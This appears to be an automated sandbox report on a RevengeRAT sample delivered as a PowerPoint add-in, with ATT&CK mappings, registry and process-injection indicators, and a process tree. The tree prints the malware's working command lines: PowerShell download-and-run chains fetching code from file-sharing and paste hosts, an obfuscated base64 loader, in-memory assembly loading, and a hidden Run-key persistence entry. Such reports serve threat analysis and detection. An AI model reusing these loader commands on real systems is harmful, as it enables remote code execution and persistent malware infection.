revengerat | c495ec8d688d14f6e90a75d6570ffbb3f34cd716e05f661a5c57acaf7cccc10e

System Information Discovery

Processes:

WScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ucnzb = "Powershell.exe -WindowStyle hidden -executionpolicy bypass \"& 'C:\\Users\\Admin\\AppData\\Roaming\\tuusk.ps1' \";exit"	powershell.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 4348 set thread context of 5108 4348 powershell.exe MSBuild.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	pid	process	target process
PID 4348 set thread context of 5108	4348	powershell.exe	MSBuild.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

POWERPNT.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	POWERPNT.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

Processes:

POWERPNT.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	POWERPNT.EXE

Modifies registry class 1 IoCs

Processes:

explorer.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings explorer.exe
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

POWERPNT.EXE

pid process

2160 POWERPNT.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings	explorer.exe

pid	process
2160	POWERPNT.EXE

Suspicious behavior: EnumeratesProcesses 17 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
4072	powershell.exe
4072	powershell.exe
4072	powershell.exe
1032	powershell.exe
1032	powershell.exe
1032	powershell.exe
1976	powershell.exe
1976	powershell.exe
1976	powershell.exe
1976	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
4348	powershell.exe
4348	powershell.exe
4348	powershell.exe
4348	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4072	powershell.exe
Token: SeDebugPrivilege	1032	powershell.exe
Token: SeDebugPrivilege	1976	powershell.exe
Token: SeDebugPrivilege	2860	powershell.exe
Token: SeDebugPrivilege	4348	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

POWERPNT.EXE

pid process

2160 POWERPNT.EXE

pid	process
2160	POWERPNT.EXE

Suspicious use of WriteProcessMemory 24 IoCs

Processes:

POWERPNT.EXEpowershell.exeexplorer.exeWScript.exepowershell.exepowershell.exepowershell.exe

description	pid	process	target process
PID 2160 wrote to memory of 4072	2160	POWERPNT.EXE	powershell.exe
PID 2160 wrote to memory of 4072	2160	POWERPNT.EXE	powershell.exe
PID 4072 wrote to memory of 4604	4072	powershell.exe	explorer.exe
PID 4072 wrote to memory of 4604	4072	powershell.exe	explorer.exe
PID 4764 wrote to memory of 2424	4764	explorer.exe	WScript.exe
PID 4764 wrote to memory of 2424	4764	explorer.exe	WScript.exe
PID 2424 wrote to memory of 1032	2424	WScript.exe	powershell.exe
PID 2424 wrote to memory of 1032	2424	WScript.exe	powershell.exe
PID 1032 wrote to memory of 1976	1032	powershell.exe	powershell.exe
PID 1032 wrote to memory of 1976	1032	powershell.exe	powershell.exe
PID 1976 wrote to memory of 2860	1976	powershell.exe	powershell.exe
PID 1976 wrote to memory of 2860	1976	powershell.exe	powershell.exe
PID 1976 wrote to memory of 4240	1976	powershell.exe	cmd.exe
PID 1976 wrote to memory of 4240	1976	powershell.exe	cmd.exe
PID 1976 wrote to memory of 4348	1976	powershell.exe	powershell.exe
PID 1976 wrote to memory of 4348	1976	powershell.exe	powershell.exe
PID 4348 wrote to memory of 5108	4348	powershell.exe	MSBuild.exe
PID 4348 wrote to memory of 5108	4348	powershell.exe	MSBuild.exe
PID 4348 wrote to memory of 5108	4348	powershell.exe	MSBuild.exe
PID 4348 wrote to memory of 5108	4348	powershell.exe	MSBuild.exe
PID 4348 wrote to memory of 5108	4348	powershell.exe	MSBuild.exe
PID 4348 wrote to memory of 5108	4348	powershell.exe	MSBuild.exe
PID 4348 wrote to memory of 5108	4348	powershell.exe	MSBuild.exe
PID 4348 wrote to memory of 5108	4348	powershell.exe	MSBuild.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\c495ec8d688d14f6e90a75d6570ffbb3f34cd716e05f661a5c57acaf7cccc10e.ppam" /ou ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2160

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wget https://www.4sync.com/web/directDownload/Uu-eVHlE/Rka0iUpD.1b3c3483be5eabe21a44cc4fbefcdd0d -o test.js; explorer.exe test.js
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4072

C:\Windows\explorer.exe
"C:\Windows\explorer.exe" test.js
3⤵
PID:4604

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4764

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\test.js"
2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2424

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $SOgfL = 'J↪Ⅻ↫BE↪Ⅻ↫GM↪Ⅻ↫d↪Ⅻ↫Bz↪Ⅻ↫E0↪Ⅻ↫I↪Ⅻ↫↪Ⅻ↫9↪Ⅻ↫C↪Ⅻ↫↪Ⅻ↫K↪Ⅻ↫BO↪Ⅻ↫GU↪Ⅻ↫dw↪Ⅻ↫t↪Ⅻ↫E8↪Ⅻ↫YgBq↪Ⅻ↫GU↪Ⅻ↫YwB0↪Ⅻ↫C↪Ⅻ↫↪Ⅻ↫TgBl↪Ⅻ↫HQ↪Ⅻ↫LgBX↪Ⅻ↫GU↪Ⅻ↫YgBD↪Ⅻ↫Gw↪Ⅻ↫aQBl↪Ⅻ↫G4↪Ⅻ↫d↪Ⅻ↫↪Ⅻ↫p↪Ⅻ↫Ds↪Ⅻ↫J↪Ⅻ↫BE↪Ⅻ↫GM↪Ⅻ↫d↪Ⅻ↫Bz↪Ⅻ↫E0↪Ⅻ↫LgBF↪Ⅻ↫G4↪Ⅻ↫YwBv↪Ⅻ↫GQ↪Ⅻ↫aQBu↪Ⅻ↫Gc↪Ⅻ↫I↪Ⅻ↫↪Ⅻ↫9↪Ⅻ↫C↪Ⅻ↫↪Ⅻ↫WwBT↪Ⅻ↫Hk↪Ⅻ↫cwB0↪Ⅻ↫GU↪Ⅻ↫bQ↪Ⅻ↫u↪Ⅻ↫FQ↪Ⅻ↫ZQB4↪Ⅻ↫HQ↪Ⅻ↫LgBF↪Ⅻ↫G4↪Ⅻ↫YwBv↪Ⅻ↫GQ↪Ⅻ↫aQBu↪Ⅻ↫Gc↪Ⅻ↫XQ↪Ⅻ↫6↪Ⅻ↫Do↪Ⅻ↫VQBU↪Ⅻ↫EY↪Ⅻ↫O↪Ⅻ↫↪Ⅻ↫7↪Ⅻ↫CQ↪Ⅻ↫RwBh↪Ⅻ↫GI↪Ⅻ↫agBo↪Ⅻ↫C↪Ⅻ↫↪Ⅻ↫PQ↪Ⅻ↫g↪Ⅻ↫CQ↪Ⅻ↫R↪Ⅻ↫Bj↪Ⅻ↫HQ↪Ⅻ↫cwBN↪Ⅻ↫C4↪Ⅻ↫R↪Ⅻ↫Bv↪Ⅻ↫Hc↪Ⅻ↫bgBs↪Ⅻ↫G8↪Ⅻ↫YQBk↪Ⅻ↫FM↪Ⅻ↫d↪Ⅻ↫By↪Ⅻ↫Gk↪Ⅻ↫bgBn↪Ⅻ↫Cg↪Ⅻ↫I↪Ⅻ↫↪Ⅻ↫n↪Ⅻ↫Gg↪Ⅻ↫d↪Ⅻ↫B0↪Ⅻ↫H↪Ⅻ↫↪Ⅻ↫cw↪Ⅻ↫6↪Ⅻ↫C8↪Ⅻ↫LwBw↪Ⅻ↫HQ↪Ⅻ↫LgB0↪Ⅻ↫GU↪Ⅻ↫e↪Ⅻ↫B0↪Ⅻ↫GI↪Ⅻ↫aQBu↪Ⅻ↫C4↪Ⅻ↫bgBl↪Ⅻ↫HQ↪Ⅻ↫LwBk↪Ⅻ↫G8↪Ⅻ↫dwBu↪Ⅻ↫Gw↪Ⅻ↫bwBh↪Ⅻ↫GQ↪Ⅻ↫LwB6↪Ⅻ↫GI↪Ⅻ↫YgBo↪Ⅻ↫Dg↪Ⅻ↫d↪Ⅻ↫Bm↪Ⅻ↫GI↪Ⅻ↫bw↪Ⅻ↫5↪Ⅻ↫Cc↪Ⅻ↫I↪Ⅻ↫↪Ⅻ↫p↪Ⅻ↫Ds↪Ⅻ↫J↪Ⅻ↫BE↪Ⅻ↫GM↪Ⅻ↫d↪Ⅻ↫Bz↪Ⅻ↫E0↪Ⅻ↫I↪Ⅻ↫↪Ⅻ↫9↪Ⅻ↫C↪Ⅻ↫↪Ⅻ↫J↪Ⅻ↫BE↪Ⅻ↫GM↪Ⅻ↫d↪Ⅻ↫Bz↪Ⅻ↫E0↪Ⅻ↫LgBE↪Ⅻ↫G8↪Ⅻ↫dwBu↪Ⅻ↫Gw↪Ⅻ↫bwBh↪Ⅻ↫GQ↪Ⅻ↫UwB0↪Ⅻ↫HI↪Ⅻ↫aQBu↪Ⅻ↫Gc↪Ⅻ↫K↪Ⅻ↫↪Ⅻ↫g↪Ⅻ↫CQ↪Ⅻ↫RwBh↪Ⅻ↫GI↪Ⅻ↫agBo↪Ⅻ↫C↪Ⅻ↫↪Ⅻ↫KQ↪Ⅻ↫7↪Ⅻ↫Fs↪Ⅻ↫QgB5↪Ⅻ↫HQ↪Ⅻ↫ZQBb↪Ⅻ↫F0↪Ⅻ↫XQ↪Ⅻ↫g↪Ⅻ↫CQ↪Ⅻ↫RwBE↪Ⅻ↫Gk↪Ⅻ↫UQBj↪Ⅻ↫C↪Ⅻ↫↪Ⅻ↫PQ↪Ⅻ↫g↪Ⅻ↫Fs↪Ⅻ↫UwB5↪Ⅻ↫HM↪Ⅻ↫d↪Ⅻ↫Bl↪Ⅻ↫G0↪Ⅻ↫LgBD↪Ⅻ↫G8↪Ⅻ↫bgB2↪Ⅻ↫GU↪Ⅻ↫cgB0↪Ⅻ↫F0↪Ⅻ↫Og↪Ⅻ↫6↪Ⅻ↫EY↪Ⅻ↫cgBv↪Ⅻ↫G0↪Ⅻ↫QgBh↪Ⅻ↫HM↪Ⅻ↫ZQ↪Ⅻ↫2↪Ⅻ↫DQ↪Ⅻ↫UwB0↪Ⅻ↫HI↪Ⅻ↫aQBu↪Ⅻ↫Gc↪Ⅻ↫K↪Ⅻ↫↪Ⅻ↫g↪Ⅻ↫CQ↪Ⅻ↫R↪Ⅻ↫Bj↪Ⅻ↫HQ↪Ⅻ↫cwBN↪Ⅻ↫C4↪Ⅻ↫UgBl↪Ⅻ↫H↪Ⅻ↫↪Ⅻ↫b↪Ⅻ↫Bh↪Ⅻ↫GM↪Ⅻ↫ZQ↪Ⅻ↫o↪Ⅻ↫C↪Ⅻ↫↪Ⅻ↫JwCTITo↪Ⅻ↫kyEn↪Ⅻ↫C↪Ⅻ↫↪Ⅻ↫L↪Ⅻ↫↪Ⅻ↫g↪Ⅻ↫Cc↪Ⅻ↫QQ↪Ⅻ↫n↪Ⅻ↫C↪Ⅻ↫↪Ⅻ↫KQ↪Ⅻ↫g↪Ⅻ↫Ck↪Ⅻ↫OwBb↪Ⅻ↫FM↪Ⅻ↫eQBz↪Ⅻ↫HQ↪Ⅻ↫ZQBt↪Ⅻ↫C4↪Ⅻ↫QQBw↪Ⅻ↫H↪Ⅻ↫↪Ⅻ↫R↪Ⅻ↫Bv↪Ⅻ↫G0↪Ⅻ↫YQBp↪Ⅻ↫G4↪Ⅻ↫XQ↪Ⅻ↫6↪Ⅻ↫Do↪Ⅻ↫QwB1↪Ⅻ↫HI↪Ⅻ↫cgBl↪Ⅻ↫G4↪Ⅻ↫d↪Ⅻ↫BE↪Ⅻ↫G8↪Ⅻ↫bQBh↪Ⅻ↫Gk↪Ⅻ↫bg↪Ⅻ↫u↪Ⅻ↫Ew↪Ⅻ↫bwBh↪Ⅻ↫GQ↪Ⅻ↫K↪Ⅻ↫↪Ⅻ↫g↪Ⅻ↫CQ↪Ⅻ↫RwBE↪Ⅻ↫Gk↪Ⅻ↫UQBj↪Ⅻ↫C↪Ⅻ↫↪Ⅻ↫KQ↪Ⅻ↫u↪Ⅻ↫Ec↪Ⅻ↫ZQB0↪Ⅻ↫FQ↪Ⅻ↫eQBw↪Ⅻ↫GU↪Ⅻ↫K↪Ⅻ↫↪Ⅻ↫g↪Ⅻ↫Cc↪Ⅻ↫QwBs↪Ⅻ↫GE↪Ⅻ↫cwBz↪Ⅻ↫Ew↪Ⅻ↫aQBi↪Ⅻ↫HI↪Ⅻ↫YQBy↪Ⅻ↫Hk↪Ⅻ↫Mw↪Ⅻ↫u↪Ⅻ↫EM↪Ⅻ↫b↪Ⅻ↫Bh↪Ⅻ↫HM↪Ⅻ↫cw↪Ⅻ↫x↪Ⅻ↫Cc↪Ⅻ↫I↪Ⅻ↫↪Ⅻ↫p↪Ⅻ↫C4↪Ⅻ↫RwBl↪Ⅻ↫HQ↪Ⅻ↫TQBl↪Ⅻ↫HQ↪Ⅻ↫a↪Ⅻ↫Bv↪Ⅻ↫GQ↪Ⅻ↫K↪Ⅻ↫↪Ⅻ↫g↪Ⅻ↫Cc↪Ⅻ↫c↪Ⅻ↫By↪Ⅻ↫EY↪Ⅻ↫VgBJ↪Ⅻ↫Cc↪Ⅻ↫I↪Ⅻ↫↪Ⅻ↫p↪Ⅻ↫C4↪Ⅻ↫SQBu↪Ⅻ↫HY↪Ⅻ↫bwBr↪Ⅻ↫GU↪Ⅻ↫K↪Ⅻ↫↪Ⅻ↫k↪Ⅻ↫G4↪Ⅻ↫dQBs↪Ⅻ↫Gw↪Ⅻ↫L↪Ⅻ↫↪Ⅻ↫g↪Ⅻ↫Fs↪Ⅻ↫bwBi↪Ⅻ↫Go↪Ⅻ↫ZQBj↪Ⅻ↫HQ↪Ⅻ↫WwBd↪Ⅻ↫F0↪Ⅻ↫I↪Ⅻ↫↪Ⅻ↫o↪Ⅻ↫C↪Ⅻ↫↪Ⅻ↫JwBy↪Ⅻ↫GU↪Ⅻ↫dwBl↪Ⅻ↫Gk↪Ⅻ↫dg↪Ⅻ↫9↪Ⅻ↫GU↪Ⅻ↫YwBy↪Ⅻ↫HU↪Ⅻ↫bwBz↪Ⅻ↫F8↪Ⅻ↫bQB0↪Ⅻ↫HU↪Ⅻ↫PwB0↪Ⅻ↫Hg↪Ⅻ↫d↪Ⅻ↫↪Ⅻ↫u↪Ⅻ↫DQ↪Ⅻ↫Mg↪Ⅻ↫w↪Ⅻ↫DI↪Ⅻ↫Lg↪Ⅻ↫z↪Ⅻ↫D↪Ⅻ↫↪Ⅻ↫Lg↪Ⅻ↫1↪Ⅻ↫D↪Ⅻ↫↪Ⅻ↫LwBk↪Ⅻ↫GE↪Ⅻ↫bwBs↪Ⅻ↫G4↪Ⅻ↫dwBv↪Ⅻ↫GQ↪Ⅻ↫LwBM↪Ⅻ↫H↪Ⅻ↫↪Ⅻ↫VwBH↪Ⅻ↫Ho↪Ⅻ↫dQBY↪Ⅻ↫G0↪Ⅻ↫LwBt↪Ⅻ↫G8↪Ⅻ↫Yw↪Ⅻ↫u↪Ⅻ↫HQ↪Ⅻ↫a↪Ⅻ↫Bn↪Ⅻ↫Gk↪Ⅻ↫eg↪Ⅻ↫u↪Ⅻ↫GU↪Ⅻ↫cgBh↪Ⅻ↫Gg↪Ⅻ↫cw↪Ⅻ↫v↪Ⅻ↫C8↪Ⅻ↫OgBz↪Ⅻ↫H↪Ⅻ↫↪Ⅻ↫d↪Ⅻ↫B0↪Ⅻ↫Gg↪Ⅻ↫Jw↪Ⅻ↫g↪Ⅻ↫Cw↪Ⅻ↫I↪Ⅻ↫↪Ⅻ↫n↪Ⅻ↫CU↪Ⅻ↫R↪Ⅻ↫BD↪Ⅻ↫F↪Ⅻ↫↪Ⅻ↫SgBV↪Ⅻ↫CU↪Ⅻ↫Jw↪Ⅻ↫s↪Ⅻ↫C↪Ⅻ↫↪Ⅻ↫JwB0↪Ⅻ↫HI↪Ⅻ↫dQBl↪Ⅻ↫DE↪Ⅻ↫Jw↪Ⅻ↫g↪Ⅻ↫Ck↪Ⅻ↫I↪Ⅻ↫↪Ⅻ↫p↪Ⅻ↫Ds↪Ⅻ↫';$SOgfL = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $SOgfL.replace('↪Ⅻ↫','A') ));$SOgfL = $SOgfL.replace('%DCPJU%','C:\Users\Admin\AppData\Local\Temp\test.js');powershell $SOgfL
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1032

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$DctsM = (New-Object Net.WebClient);$DctsM.Encoding = [System.Text.Encoding]::UTF8;$Gabjh = $DctsM.DownloadString( 'https://pt.textbin.net/download/zbbh8tfbo9' );$DctsM = $DctsM.DownloadString( $Gabjh );[Byte[]] $GDiQc = [System.Convert]::FromBase64String( $DctsM.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $GDiQc ).GetType( 'ClassLibrary3.Class1' ).GetMethod( 'prFVI' ).Invoke($null, [object[]] ( 'reweiv=ecruos_mtu?txt.4202.30.50/daolnwod/LpWGzuXm/moc.thgiz.erahs//:sptth' , 'C:\Users\Admin\AppData\Local\Temp\test.js', 'true1' ) );"
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1976

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Roaming\x2.ps1"
5⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2860

C:\Windows\system32\cmd.exe
cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\test.js"
5⤵
PID:4240

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Roaming\tuusk.ps1"
5⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4348

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
6⤵
PID:5108

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3712 --field-trial-handle=2264,i,15001568551143786084,90255922961447677,262144 --variations-seed-version /prefetch:8
1⤵
PID:2168

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

4

System Information Discovery

4